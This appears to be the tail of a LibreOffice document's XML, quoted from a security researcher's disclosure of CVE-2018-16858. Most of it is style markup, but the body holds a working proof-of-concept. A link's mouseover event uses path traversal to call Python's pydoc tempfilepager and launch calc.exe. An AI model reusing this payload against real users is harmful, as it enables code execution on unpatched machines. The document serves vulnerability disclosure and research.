draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/> <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false"> <style:tab-stops/> </style:paragraph-properties> <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN"/> </style:default-style> <style:default-style style:family="paragraph"> <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/> <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/> </style:default-style> <style:default-style style:family="table"> <style:table-properties table:border-model="collapsing"/> </style:default-style> <style:default-style style:family="table-row"> <style:table-row-properties fo:keep-together="auto"/> </style:default-style> <style:style style:name="Standard" style:family="paragraph" style:class="text"/> <style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="text"> <style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" fo:keep-with-next="always"/> <style:text-properties style:font-name="Liberation Sans" fo:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable" fo:font-size="14pt" style:font-name-asian="Microsoft YaHei" style:font-family-asian="&apos;Microsoft YaHei&apos;" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-size-asian="14pt" style:font-name-complex="Arial" style:font-family-complex="Arial" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-size-complex="14pt"/> </style:style> <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text"> <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/> </style:style> <style:style style:name="List" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="list"> <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/> </style:style> <style:style style:name="Caption" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties fo:margin-top="0.0835in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" text:number-lines="false" text:line-number="0"/> <style:text-properties fo:font-size="12pt" fo:font-style="italic" style:font-size-asian="12pt" style:font-style-asian="italic" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss" style:font-size-complex="12pt" style:font-style-complex="italic"/> </style:style> <style:style style:name="Index" style:family="paragraph" style:parent-style-name="Standard" style:class="index"> <style:paragraph-properties text:number-lines="false" text:line-number="0"/> <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/> </style:style> <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"> <style:text-properties fo:color="#000080" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/> </style:style> <text:outline-style style:name="Outline"> <text:outline-level-style text:level="1" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="2" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="3" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="4" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="5" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="6" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="7" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="8" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="9" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="10" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> </text:outline-style> <text:notes-configuration text:note-class="footnote" style:num-format="1" text:start-value="0" text:footnotes-position="page" text:start-numbering-at="document"/> <text:notes-configuration text:note-class="endnote" style:num-format="i" text:start-value="0"/> <text:linenumbering-configuration text:number-lines="false" text:offset="0.1965in" style:num-format="1" text:number-position="left" text:increment="5"/> </office:styles> <office:automatic-styles> <style:style style:name="T1" style:family="text"> <style:text-properties officeooo:rsid="001104a2"/> </style:style> <style:page-layout style:name="pm1"> <style:page-layout-properties fo:page-width="8.5in" fo:page-height="11in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="0.7874in" fo:margin-bottom="0.7874in" fo:margin-left="0.7874in" fo:margin-right="0.7874in" style:writing-mode="lr-tb" style:footnote-max-height="0in"> <style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:line-style="solid" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style/> </style:page-layout> </office:automatic-styles> <office:master-styles> <style:master-page style:name="Standard" style:page-layout-name="pm1"/> </office:master-styles> <office:body> <office:text> <text:sequence-decls> <text:sequence-decl text:display-outline-level="0" text:name="Illustration"/> <text:sequence-decl text:display-outline-level="0" text:name="Table"/> <text:sequence-decl text:display-outline-level="0" text:name="Text"/> <text:sequence-decl text:display-outline-level="0" text:name="Drawing"/> <text:sequence-decl text:display-outline-level="0" text:name="Figure"/> </text:sequence-decls> <text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://test/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1">move your mouse over the text</text:span></text:a></text:p> </office:text> </office:body> </office:document> Eingestellt von Alex Inführ Sursa: https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html